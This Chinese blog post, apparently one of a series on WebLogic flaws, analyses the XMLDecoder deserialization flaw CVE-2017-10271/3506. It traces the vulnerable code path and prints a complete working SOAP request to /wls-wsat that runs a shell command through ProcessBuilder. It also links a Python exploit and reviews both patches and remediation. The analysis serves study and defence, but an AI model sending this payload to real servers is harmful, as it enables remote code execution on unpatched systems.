weblogic系列漏洞整理 -- 4. weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271、CVE-2017-3506)

旧街凉风 提交于 2020-02-08 09:03:11

一、weblogic安装 http://www.cnblogs.com/0x4D75/p/8916428.html

二、weblogic弱口令 http://www.cnblogs.com/0x4D75/p/8918761.html

三、weblogic 后台提权 http://www.cnblogs.com/0x4D75/p/8919760.html

四、 weblogic XMLDecoder 反序列化漏洞(CVE-2017-10271)

影响版本:

Oracle WebLogic Server 10.3.6.0.0版本
Oracle WebLogic Server 12.1.3.0.0版本
Oracle WebLogic Server 12.2.1.1.0版本
Oracle WebLogic Server 12.2.1.2.0版本

0. 漏洞分析

通过POC利用后,抓取weblogic的返回响应的xml部分如下,调用栈在标签中:

从调用栈可以明确的看到源码中weblogic调用函数的过程:

processRequest>readHeaderOld>receive>receiveRequest>receiveRequest>readEntry>readUTF

我们发送的poc经过这部分处理,就到了<ns2:frame class="java.beans.XMLDecoder" file="XMLDecoder.java" line="206" method="readObject"/>中。

processRequest函数源码为:

public NextAction processRequest(Packet var1) {
   this.isUseOldFormat = false;
   if(var1.getMessage() != null) {
      HeaderList var2 = var1.getMessage().getHeaders();
      Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true);
      if(var3 != null) {
         this.readHeaderOld(var3);
         this.isUseOldFormat = true;
      }
      Header var4 = var2.get(this.JAX_WS_WORK_AREA_HEADER, true);
      if(var4 != null) {
         this.readHeader(var4);
      }
   }

WorkAreaConstants.WORK_AREA_HEADER:

public interface WorkAreaConstants{
    String WORK_NS = "http://bea.com/2004/06/soap/workarea/";
    String WORK_PREFIX = "work";
    String XML_TAG_WORK_CONTEXT = "WorkContext";
    String XML_TAG = "work:WorkContext";
    QName WORK_AREA_HEADER = new QName( "http://bea.com/2004/06/soap/workarea/", "WorkContext", "work");
    QName[] WORK_HEADERS = new QName[]{WORK_AREA_HEADER}
}

readHeaderOld源码:

protected void readHeaderOld(Header var1) {
   try {
      XMLStreamReader var2 = var1.readHeader();
      var2.nextTag();
      var2.nextTag();
      XMLStreamReaderToXMLStreamWriter var3 = new XMLStreamReaderToXMLStreamWriter();
      ByteArrayOutputStream var4 = new ByteArrayOutputStream();
      XMLStreamWriter var5 = XMLStreamWriterFactory.create(var4);
      var3.bridge(var2, var5);
      var5.close();
      WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new ByteArrayInputStream(var4.toByteArray()));
      this.receive(var6);
   } catch (XMLStreamException var7) {
      throw new WebServiceException(var7);
   } catch (IOException var8) {
      throw new WebServiceException(var8);
   }
}

其中:

ByteArrayOutputStream: 捕获内存缓冲区的数据,转换成字节数组  
ByteArrayInputStream: 将字节数组转化为输入流 

上述过程中,var4会被赋予Poc中java标签内的代码,即:

<java version="1.4.0" class="java.beans.XMLDecoder">
                        <void class="java.lang.ProcessBuilder">
                            <array class="java.lang.String" length="3">
                                <void index="0">
                                    <string>/bin/bash</string>
                                </void>
                                <void index="1">
                                    <string>-c</string>
                                </void>
                                <void index="2">
                                <string>id > /tmp/b4z</string>
                                </void>
                            </array>
                        <void method="start"/></void>
                    </java>

WorkContextXmlInputAdapter代码:

public WorkContextXmlInputAdapter(InputStream var1){
    this.xmlDecoder = new XMLDecoder(var1);
}

可以看到,在WorkContextXmlInputAdapter中,没有任何过滤就直接调用XMLDecoder方法,从而导致反序列化远程代码执行。

1. 利用过程

poc如下:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.136.130:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: text/xml;charset=UTF-8
Content-Length: 1113

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 
            <soapenv:Header>
                <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
                    <java version="1.4.0" class="java.beans.XMLDecoder">
                        <void class="java.lang.ProcessBuilder">
                            <array class="java.lang.String" length="3">
                                <void index="0">
                                    <string>/bin/bash</string>
                                </void>
                                <void index="1">
                                    <string>-c</string>
                                </void>
                                <void index="2">
                                <string>id > /tmp/b4</string>
                                </void>
                            </array>
                        <void method="start"/></void>
                    </java>
                </work:WorkContext>
            </soapenv:Header>
        <soapenv:Body/>
</soapenv:Envelope>

python版完整利用代码: https://github.com/b4zinga/Explib/blob/master/weblogic.py

2. 修复建议

  • 安装补丁

四月份补丁(3506),在文件WorkContextXmlInputAdapter.java中,添加了validate()

public WorkContextXmlInputAdapter(InputStream is)  {
    ByteArrayOutputStream baos = new ByteArrayOutputStream();    try
    {      int next = 0;
      next = is.read();      while (next != -1)
      {
        baos.write(next);
        next = is.read();
      }
    }    catch (Exception e)
    {      throw new IllegalStateException("Failed to get data from input stream", e);
    }
    validate(new ByteArrayInputStream(baos.toByteArray()));    this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
  }  
  private void validate(InputStream is)  {
    WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();    try
    {
      SAXParser parser = factory.newSAXParser();
      parser.parse(is, new DefaultHandler()
      {        public void startElement(String uri, String localName, String qName, Attributes attributes)
          throws SAXException        {          if (qName.equalsIgnoreCase("object")) {            throw new IllegalStateException("Invalid context type: object");
          }
        }
      });
    }    catch (ParserConfigurationException e)
    {      throw new IllegalStateException("Parser Exception", e);
    }    catch (SAXException e)
    {      throw new IllegalStateException("Parser Exception", e);
    }    catch (IOException e)
    {      throw new IllegalStateException("Parser Exception", e);
    }
  }

其实就是在解析xml的过程中,如果qName值为Object就抛出异常,明显可以绕过。

10271补丁:

private void validate(InputStream is) {
   WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
   try {
      SAXParser parser = factory.newSAXParser();
      parser.parse(is, new DefaultHandler() {
         private int overallarraylength = 0;
         public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
            if(qName.equalsIgnoreCase("object")) {
               throw new IllegalStateException("Invalid element qName:object");
            } else if(qName.equalsIgnoreCase("new")) {
               throw new IllegalStateException("Invalid element qName:new");
            } else if(qName.equalsIgnoreCase("method")) {
               throw new IllegalStateException("Invalid element qName:method");
            } else {
               if(qName.equalsIgnoreCase("void")) {
                  for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
                     if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
                        throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
                     }
                  }
               }
               if(qName.equalsIgnoreCase("array")) {
                  String var9 = attributes.getValue("class");
                  if(var9 != null && !var9.equalsIgnoreCase("byte")) {
                     throw new IllegalStateException("The value of class attribute is not valid for array element.");
                  }

本次限制了object,new, method, void,array等关键字段,这样就不能生成Java实例,所以不能执行命令。

  • 删除WLS-WebServices组件
   Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat

   Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war

   Middleware/wlserver_10.3/server/lib/wls-wsat.war
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!